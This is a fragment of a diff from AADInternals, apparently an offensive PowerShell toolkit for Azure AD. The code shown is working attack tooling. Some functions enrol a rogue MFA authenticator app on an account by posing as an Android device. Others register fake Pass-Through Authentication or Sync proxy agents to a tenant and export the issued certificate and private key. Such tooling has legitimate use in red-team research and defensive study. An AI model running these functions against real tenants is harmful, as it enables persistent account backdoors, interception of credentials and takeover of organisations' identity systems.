$response | Add-Member -NotePropertyName "SessionCtx" -NotePropertyValue $sessionCtx
|
||||
|
||||
Write-Verbose "Registration info:`n$response"
|
||||
|
||||
# Return
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Sends a new MFA App activation
|
||||
# Jul 2nd 2020
|
||||
function Send-MFAAppNewActivation
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$RegistrationInfo,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceName="AADInternals"
|
||||
)
|
||||
Process
|
||||
{
|
||||
$url = $RegistrationInfo.Url
|
||||
# Append the PfPaWs.asmx if not included
|
||||
if(!$Url.EndsWith($PfPaWs))
|
||||
{
|
||||
if(!$Url.EndsWith("/"))
|
||||
{
|
||||
$Url+="/";
|
||||
}
|
||||
$Url+=$PfPaWs;
|
||||
}
|
||||
|
||||
|
||||
# Create the headers
|
||||
$headers=@{
|
||||
"SOAPAction" = "http://www.phonefactor.com/PfPaWs/ActivateNew"
|
||||
"Content-Type" = "text/xml; charset=utf-8"
|
||||
"User-Agent" = "Dalvik/2.1.0 (Linux; U; Android 8.1.0; AADInternals)"
|
||||
}
|
||||
|
||||
$body=@"
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs">
|
||||
<soap:Header/>
|
||||
<soap:Body>
|
||||
<ns4:ActivateNew>
|
||||
<ns4:activationParams>
|
||||
<ns4:ActivationCode>$($RegInfo.ActivationCode)</ns4:ActivationCode>
|
||||
<ns4:DeviceToken>$DeviceToken</ns4:DeviceToken>
|
||||
<ns4:DeviceName>$DeviceName</ns4:DeviceName>
|
||||
<ns4:OathCounter>$(Get-OathCounter)</ns4:OathCounter>
|
||||
<ns4:Version>$Version</ns4:Version>
|
||||
</ns4:activationParams>
|
||||
</ns4:ActivateNew>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
"@
|
||||
# Send the activation request
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $Url -Method POST -Headers $headers -Body $body
|
||||
|
||||
# Extract the activation information
|
||||
$activationInformation=$response.Envelope.Body.ActivateNewResponse.activationInfo
|
||||
|
||||
Write-Verbose "Activation info:`n$activationInformation"
|
||||
|
||||
# Return
|
||||
return $activationInformation
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Sends a new MFA App activation confirmation
|
||||
# Jul 2nd 2020
|
||||
function Send-MFAAppNewActivationConfirmation
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$RegistrationInfo,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$ActivationInfo
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
$url = $RegistrationInfo.Url
|
||||
# Append the PfPaWs.asmx if not included
|
||||
if(!$Url.EndsWith($PfPaWs))
|
||||
{
|
||||
if(!$Url.EndsWith("/"))
|
||||
{
|
||||
$Url+="/";
|
||||
}
|
||||
$Url+=$PfPaWs;
|
||||
}
|
||||
|
||||
|
||||
# Create the headers
|
||||
$headers=@{
|
||||
"SOAPAction" = "http://www.phonefactor.com/PfPaWs/ConfirmActivation"
|
||||
"Content-Type" = "text/xml; charset=utf-8"
|
||||
"User-Agent" = "Dalvik/2.1.0 (Linux; U; Android 8.1.0; AADInternals)"
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body=@"
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs">
|
||||
<soap:Header/>
|
||||
<soap:Body>
|
||||
<ns4:ConfirmActivation>
|
||||
<ns4:confirmationCode>$($ActivationInfo.ConfirmationCode)</ns4:confirmationCode>
|
||||
</ns4:ConfirmActivation>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
"@
|
||||
|
||||
# Send the activation confirmation
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $Url -Method POST -Headers $headers -Body $body
|
||||
|
||||
Write-Verbose "Confirmation Activation: $($response.Envelope.Body.ConfirmActivationResponse.ConfirmActivationResult)"
|
||||
|
||||
# Return
|
||||
return $response.Envelope.Body.ConfirmActivationResponse.ConfirmActivationResult -eq "true"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Adds the new device
|
||||
# Jul 2nd 2020
|
||||
function Add-MFAAppAddDevice
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$RegistrationInfo,
|
||||
[ValidateSet("APP","OTP")]
|
||||
[String]$Type="APP"
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"SessionCtx" = $RegistrationInfo.SessionCtx
|
||||
#"Access-Control-Request-Method" = "POST"
|
||||
#"Access-Control-Request-Headers" ="ajaxrequest,authorization,content-type,sessionctx"
|
||||
"Origin" = "https://mysignins.microsoft.com"
|
||||
"Sec-Fetch-Site" = "cross-site"
|
||||
"Sec-Fetch-Mode" = "cors"
|
||||
"Sec-Fetch-Dest" = "empty"
|
||||
"Content-Type" = "application/json"
|
||||
|
||||
}
|
||||
if($Type -eq "APP")
|
||||
{
|
||||
$securityType = 2
|
||||
$secretKey = $RegistrationInfo.ActivationCode
|
||||
}
|
||||
elseif($Type -eq "OTP")
|
||||
{
|
||||
$securityType = 3
|
||||
$secretKey = $RegistrationInfo.SecretKey
|
||||
}
|
||||
|
||||
$body="{""Type"":$securityType,""Data"":""{\""secretKey\"":\""$secretKey\"",\""affinityRegion\"":\""$($RegistrationInfo.AffinityRegion)\""}""}"
|
||||
|
||||
$state=0
|
||||
$counter=0
|
||||
|
||||
# Loop until we get the context or fail for 10 times
|
||||
while($state -ne 1 -and ($counter++) -lt 11)
|
||||
{
|
||||
# Wait
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
Write-Verbose "Adding MFA application #$counter"
|
||||
|
||||
# Send the AddSecurityInfo request
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://account.activedirectory.windowsazure.com/securityinfo/AddSecurityInfo" -Headers $headers -Body $body
|
||||
|
||||
# Strip the carbage from the start and convert to psobject
|
||||
$response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
|
||||
|
||||
# Get the verification state
|
||||
$state = $response.VerificationState
|
||||
}
|
||||
|
||||
Write-Verbose "Verification context: $($response.VerificationContext)"
|
||||
|
||||
# Return
|
||||
return $response.VerificationContext
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Sends MFA App verification request
|
||||
# Jul 2nd 2020
|
||||
function Verify-MFAAppAddDevice
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
$RegistrationInfo,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$VerificationContext,
|
||||
[ValidateSet("APP","OTP")]
|
||||
[String]$Type="APP"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"SessionCtx" = $RegistrationInfo.SessionCtx
|
||||
#"Access-Control-Request-Method" = "POST"
|
||||
#"Access-Control-Request-Headers" ="ajaxrequest,authorization,content-type,sessionctx"
|
||||
"Origin" = "https://mysignins.microsoft.com"
|
||||
"Sec-Fetch-Site" = "cross-site"
|
||||
"Sec-Fetch-Mode" = "cors"
|
||||
"Sec-Fetch-Dest" = "empty"
|
||||
"Content-Type" = "application/json"
|
||||
|
||||
}
|
||||
|
||||
if($Type -eq "APP")
|
||||
{
|
||||
$securityType = 2
|
||||
$verificationData = $null
|
||||
}
|
||||
elseif($Type -eq "OTP")
|
||||
{
|
||||
$securityType = 3
|
||||
$verificationData = (New-AADIntOTP -SecretKey $RegistrationInfo.SecretKey).OTP.replace(" ","")
|
||||
Start-Sleep -Seconds 3
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body = "{""Type"":$securityType,""VerificationContext"":""$VerificationContext"",""VerificationData"":$verificationData}"
|
||||
|
||||
$state=0
|
||||
$counter=0
|
||||
$dataUpdates=""
|
||||
|
||||
# Loop until we get the data or fail for 10 times
|
||||
while([string]::IsNullOrEmpty($dataUpdates) -and ($counter++) -lt 11)
|
||||
{
|
||||
# Wait
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
Write-Verbose "Sending VerifySecurityInfo message #$counter"
|
||||
|
||||
# Send the VerifySecurityInfo message
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://account.activedirectory.windowsazure.com/securityinfo/VerifySecurityInfo" -Headers $headers -Body $body
|
||||
|
||||
# Strip the carbage from the start and convert to psobject
|
||||
$responseBody=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
|
||||
|
||||
# Get the verification state
|
||||
$dataUpdates = $responseBody.Dataupdates
|
||||
}
|
||||
|
||||
Write-Verbose "Data Updates: $dataUpdates"
|
||||
|
||||
# Return
|
||||
return $dataUpdates
|
||||
|
||||
}
|
||||
}
|
||||
+721
@@ -0,0 +1,721 @@
|
||||
# This file contains functions for Microsoft App Proxy
|
||||
|
||||
Add-Type -AssemblyName System.Web
|
||||
|
||||
# Registers App proxy agent to the Azure AD
|
||||
# Apr 2nd 2020
|
||||
# May 5th 2022: Added UpdateTrust
|
||||
function Register-ProxyAgent
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Registers a new MS App Proxy agent to Azure AD
|
||||
|
||||
.DESCRIPTION
|
||||
Registers a new MS App Proxy agent to Azure AD. Currently Sync and PTA agents are supported.
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
PS C:\>Register-AADIntProxyAgent -AccessToken $pt -MachineName server1.company.com -AgentType PTA -FileName server1-pta.pfx
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
PS C:\>Register-AADIntProxyAgent -AccessToken $pt -MachineName server2.company.com -AgentType Sync -FileName server2-sync.pfx
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$FileName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Validateset("PTA","Sync")]
|
||||
[String]$AgentType,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$AgentGroup,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$UpdateTrust,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$PfxPassword
|
||||
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$AgentInfo=@{
|
||||
"PTA"= @{
|
||||
"FeatureString" = "PassthroughAuthentication"
|
||||
"UserAgent" = "PassthroughAuthenticationConnector/1.5.643.0"
|
||||
|
||||
}
|
||||
"Sync"= @{
|
||||
"FeatureString" = "SyncFabric"
|
||||
"UserAgent" = "SyncFabricConnector/1.1.96.0"
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
if($UpdateTrust)
|
||||
{
|
||||
# Load the old certificate
|
||||
$cert = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
|
||||
|
||||
$tenantId = $cert.Subject.Split("=")[1]
|
||||
}
|
||||
else
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
|
||||
$tenantId = Get-TenantID -AccessToken $AccessToken
|
||||
}
|
||||
|
||||
# Set some variables
|
||||
$OSLanguage="1033"
|
||||
$OSLocale="0409"
|
||||
$OSSku="8"
|
||||
$OSVersion="10.0.17763"
|
||||
|
||||
# Create a private key and do something with it to get it stored
|
||||
$rsa=[System.Security.Cryptography.RSA]::Create(2048)
|
||||
|
||||
# Initialize the Certificate Signing Request object
|
||||
$CN="" # The name doesn't matter
|
||||
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
|
||||
|
||||
if($AgentType -eq "PTA")
|
||||
{
|
||||
# Key usage
|
||||
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509KeyUsageExtension]::new([System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::DigitalSignature -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::NonRepudiation -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::KeyEncipherment -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::DataEncipherment, $false))
|
||||
# TLS Web client authentication
|
||||
$oidCollection = [System.Security.Cryptography.OidCollection]::new()
|
||||
$oidCollection.Add([System.Security.Cryptography.Oid]::new("1.3.6.1.5.5.7.3.2")) | Out-Null
|
||||
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509EnhancedKeyUsageExtension]::new($oidCollection, $true))
|
||||
|
||||
|
||||
# Add the public Key to the request
|
||||
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509SubjectKeyIdentifierExtension]::new($req.PublicKey,$false))
|
||||
|
||||
# Create the signing request
|
||||
$csr=$req.CreateSigningRequest()
|
||||
|
||||
}
|
||||
elseif($AgentType -eq "Sync")
|
||||
{
|
||||
# This must be done this way cause MS CSR classes doesn't support attributes :(
|
||||
$csr = NewCSRforSync -MachineName $MachineName -PublicKey $req.PublicKey.EncodedKeyValue.RawData
|
||||
}
|
||||
|
||||
$b64Csr=[convert]::ToBase64String($csr)
|
||||
|
||||
# Create the request body
|
||||
if($UpdateTrust)
|
||||
{
|
||||
[xml]$config=Get-BootstrapConfiguration -Certificate $cert -MachineName $MachineName
|
||||
if(!$config)
|
||||
{
|
||||
# Couldn't get bootrap so cert doesn't work :(
|
||||
return
|
||||
}
|
||||
$trustEndpoint = $config.BootstrapResponse.TrustRenewEndpoint
|
||||
|
||||
$body=@"
|
||||
<TrustRenewalRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration.TrustRenewal" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<Base64Csr xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration">$b64Csr
|
||||
</Base64Csr>
|
||||
<TrustRenewalRequestSettings>
|
||||
<SystemSettingsInformation i:type="a:SystemSettings" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings">
|
||||
<a:MachineName>$machineName</a:MachineName>
|
||||
<a:OsLanguage>$OSLanguage</a:OsLanguage>
|
||||
<a:OsLocale>$OSLocale</a:OsLocale>
|
||||
<a:OsSku>$OSSku</a:OsSku>
|
||||
<a:OsVersion>$OSVersion</a:OsVersion>
|
||||
</SystemSettingsInformation>
|
||||
<ConnectorVersion>1.5.2482.0</ConnectorVersion>
|
||||
</TrustRenewalRequestSettings>
|
||||
</TrustRenewalRequest>
|
||||
"@
|
||||
# Renew trust and get the certificate
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "$trustEndPoint/RenewTrustCertificate" -Method Post -Body $body -Headers @{"Content-Type"="application/xml; charset=utf-8"} -Certificate $cert
|
||||
|
||||
if($response.TrustRenewalResult.IsSuccessful.'#text' -eq "true")
|
||||
{
|
||||
# Get the certificate
|
||||
$b64Cert = $response.TrustRenewalResult.Certificate.'#text'
|
||||
}
|
||||
else
|
||||
{
|
||||
# Something went wrong
|
||||
Write-Error $response.TrustRenewalResult.ErrorMessage.'#text'
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$body=@"
|
||||
<RegistrationRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<Base64Csr>$b64Csr
|
||||
</Base64Csr>
|
||||
<AuthenticationToken>$AccessToken</AuthenticationToken>
|
||||
<Base64Pkcs10Csr i:nil="true"/>
|
||||
<Feature>ApplicationProxy</Feature>
|
||||
<FeatureString>$($AgentInfo[$AgentType]["FeatureString"])</FeatureString>
|
||||
<RegistrationRequestSettings>
|
||||
<SystemSettingsInformation i:type="a:SystemSettings" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings">
|
||||
<a:MachineName>$machineName</a:MachineName>
|
||||
<a:OsLanguage>$OSLanguage</a:OsLanguage>
|
||||
<a:OsLocale>$OSLocale</a:OsLocale>
|
||||
<a:OsSku>$OSSku</a:OsSku>
|
||||
<a:OsVersion>$OSVersion</a:OsVersion>
|
||||
</SystemSettingsInformation>
|
||||
<PSModuleVersion>1.5.643.0</PSModuleVersion>
|
||||
<SystemSettings i:type="a:SystemSettings" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings">
|
||||
<a:MachineName>$machineName</a:MachineName>
|
||||
<a:OsLanguage>$OSLanguage</a:OsLanguage>
|
||||
<a:OsLocale>$OSLocale</a:OsLocale>
|
||||
<a:OsSku>$OSSku</a:OsSku>
|
||||
<a:OsVersion>$OSVersion</a:OsVersion>
|
||||
</SystemSettings>
|
||||
</RegistrationRequestSettings>
|
||||
<TenantId>$tenantId</TenantId>
|
||||
<UserAgent>$($AgentInfo[$AgentType]["UserAgent"])</UserAgent>
|
||||
</RegistrationRequest>
|
||||
"@
|
||||
# Register the app and get the certificate
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://$tenantId.registration.msappproxy.net/register/RegisterConnector" -Method Post -Body $body -Headers @{"Content-Type"="application/xml; charset=utf-8"}
|
||||
|
||||
if($response.RegistrationResult.IsSuccessful -eq "true")
|
||||
{
|
||||
# Get the certificate
|
||||
$b64Cert = $response.RegistrationResult.Certificate
|
||||
}
|
||||
else
|
||||
{
|
||||
# Something went wrong
|
||||
Write-Error $response.RegistrationResult.ErrorMessage
|
||||
}
|
||||
}
|
||||
|
||||
if(![string]::IsNullOrEmpty($b64Cert))
|
||||
{
|
||||
|
||||
# Convert certificate to byte array
|
||||
$binCert = [convert]::FromBase64String($b64Cert)
|
||||
|
||||
# Create a new x509certificate
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
|
||||
# Get the instance Id (=Agent Id)
|
||||
foreach($extension in $cert.Extensions)
|
||||
{
|
||||
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
|
||||
{
|
||||
$InstanceID = [guid]$extension.RawData
|
||||
}
|
||||
}
|
||||
|
||||
if([string]::IsNullOrEmpty($FileName))
|
||||
{
|
||||
$FileName = "$($MachineName)_$($tenantId)_$($InstanceID)_$($cert.Thumbprint).pfx"
|
||||
}
|
||||
|
||||
# Store the private key so that it can be exported
|
||||
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
|
||||
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
|
||||
$cspParameters.ProviderType = 24
|
||||
$cspParameters.KeyContainerName ="AADInternals"
|
||||
|
||||
# Set the private key
|
||||
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
|
||||
$privateKey.ImportParameters($rsa.ExportParameters($true))
|
||||
$cert.PrivateKey = $privateKey
|
||||
|
||||
# Export the certificate to pfx
|
||||
$binCert = $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
|
||||
Set-BinaryContent -Path $fileName -Value $binCert
|
||||
|
||||
# Remove the private key from the store
|
||||
$privateKey.PersistKeyInCsp=$false
|
||||
$privateKey.Clear()
|
||||
|
||||
|
||||
|
||||
if($UpdateTrust)
|
||||
{
|
||||
Write-Host "$AgentType Agent ($InstanceID) certificate renewed for $MachineName"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "$AgentType Agent ($InstanceID) registered as $MachineName"
|
||||
}
|
||||
Write-Host "Certificate saved to $FileName"
|
||||
|
||||
# We need to register the agent to a group
|
||||
if($AgentType -eq "Sync" -and [string]::IsNullOrEmpty($AgentGroup) -ne $true)
|
||||
{
|
||||
Add-ProxyAgentToGroup -AccessToken $AccessToken -Agent $InstanceID -Group $AgentGroup
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets list of publishing agents
|
||||
# Apr 3rd 2020
|
||||
function Get-ProxyAgents
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Shows the list of MS App Proxy agents
|
||||
|
||||
.DESCRIPTION
|
||||
Shows the list of MS App Proxy authentication and provisioning agents
|
||||
|
||||
.Example
|
||||
Get-AADIntProxyAgents | ft
|
||||
|
||||
id machineName externalIp status supportedPublishingTypes
|
||||
-- ----------- ---------- ------ ------------------------
|
||||
51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication}
|
||||
51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication}
|
||||
49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning}
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
|
||||
PS C:\>Get-AADIntProxyAgents -AccessToken $pt | pt
|
||||
|
||||
id machineName externalIp status supportedPublishingTypes
|
||||
-- ----------- ---------- ------ ------------------------
|
||||
51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication}
|
||||
51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication}
|
||||
49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning}
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$publishingTypes = @( # Roles that can access the agent
|
||||
#"appProxy" # ApplicationAdmin, GlobalAdmin
|
||||
"authentication" # GlobalAdmin
|
||||
"provisioning" # GlobalAdmin
|
||||
"exchangeOnline" # GlobalAdmin
|
||||
#"intunePfx" # GlobalAdmin
|
||||
#"oflineDomainJoin" # GlobalAdmin
|
||||
"adAdministration" # DirSyncAdmin, GlobalAdmin
|
||||
#"unknownFutureValue" #
|
||||
)
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
|
||||
|
||||
# Get the tenant id and instance id from the certificate
|
||||
$TenantId = Get-TenantID -AccessToken $AccessToken
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-gateway-serviceRoot" =""
|
||||
}
|
||||
|
||||
|
||||
foreach($type in $publishingTypes)
|
||||
{
|
||||
$agents = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('$type')/agents" -Method Get -Headers $headers -ErrorAction SilentlyContinue
|
||||
|
||||
# Return
|
||||
if($agents)
|
||||
{
|
||||
$agents.value
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets list of agent groups
|
||||
# Apr 6th 2020
|
||||
function Get-ProxyAgentGroups
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Lists MS App Proxy agent groups
|
||||
|
||||
.DESCRIPTION
|
||||
Lists MS App Proxy agent groups
|
||||
|
||||
.Example
|
||||
Get-AADIntAgentProxyGroups
|
||||
|
||||
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
|
||||
ConfigurationDisplayName : company.com
|
||||
ConfigurationResourceName : company.com
|
||||
ConfigurationPublishingType : provisioning
|
||||
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
|
||||
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
|
||||
publishingType : provisioning
|
||||
isDefault : False
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
|
||||
PS C:\>Get-AADIntProxyGroups -AccessToken $pt
|
||||
|
||||
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
|
||||
ConfigurationDisplayName : company.com
|
||||
ConfigurationResourceName : company.com
|
||||
ConfigurationPublishingType : provisioning
|
||||
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
|
||||
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
|
||||
publishingType : provisioning
|
||||
isDefault : False
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
|
||||
|
||||
# Get the tenant id and instance id from the certificate
|
||||
$TenantId = Get-TenantID -AccessToken $AccessToken
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-gateway-serviceRoot" =""
|
||||
}
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://$TenantId.admin.msappproxy.net/onPremisesPublishingProfiles('provisioning')/agentGroups?`$expand=agents" -Method Get -Headers $headers
|
||||
|
||||
# return
|
||||
$response.value
|
||||
}
|
||||
}
|
||||
|
||||
# Gets the list of proxy configurations
|
||||
#function Get-ProxyConfigurations
|
||||
|
||||
# Creates a new proxy agent group
|
||||
# Apr 6th 2020
|
||||
function New-ProxyAgentGroup
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates an MS App Proxy agent group
|
||||
|
||||
.DESCRIPTION
|
||||
Creates an MS App Proxy agent group
|
||||
|
||||
.Example
|
||||
Get-AADIntAgentProxyGroups
|
||||
|
||||
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
|
||||
ConfigurationDisplayName : company.com
|
||||
ConfigurationResourceName : company.com
|
||||
ConfigurationPublishingType : provisioning
|
||||
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
|
||||
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
|
||||
publishingType : provisioning
|
||||
isDefault : False
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
|
||||
PS C:\>Get-AADIntProxyGroups -AccessToken $pt
|
||||
|
||||
TenantId : ea664074-37dd-4797-a676-b0cf6fdafcd4
|
||||
ConfigurationDisplayName : company.com
|
||||
ConfigurationResourceName : company.com
|
||||
ConfigurationPublishingType : provisioning
|
||||
id : 4b6ffe82-bfe2-4357-814c-09da95399da7
|
||||
displayName : Group-company.com-42660f4a-9e66-4a08-ac17-2a2e0d8b993e
|
||||
publishingType : provisioning
|
||||
isDefault : False
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DisplayName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ConfigurationDisplayName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ConfigurationResourceName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
|
||||
|
||||
# Get the tenant id and instance id from the certificate
|
||||
$TenantId = Get-TenantID -AccessToken $AccessToken
|
||||
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-gateway-serviceRoot" =""
|
||||
"Content-Type" = "application/json"
|
||||
}
|
||||
|
||||
# First, create the agent group with the given name
|
||||
$Body = "{""displayName"":""$DisplayName""}"
|
||||
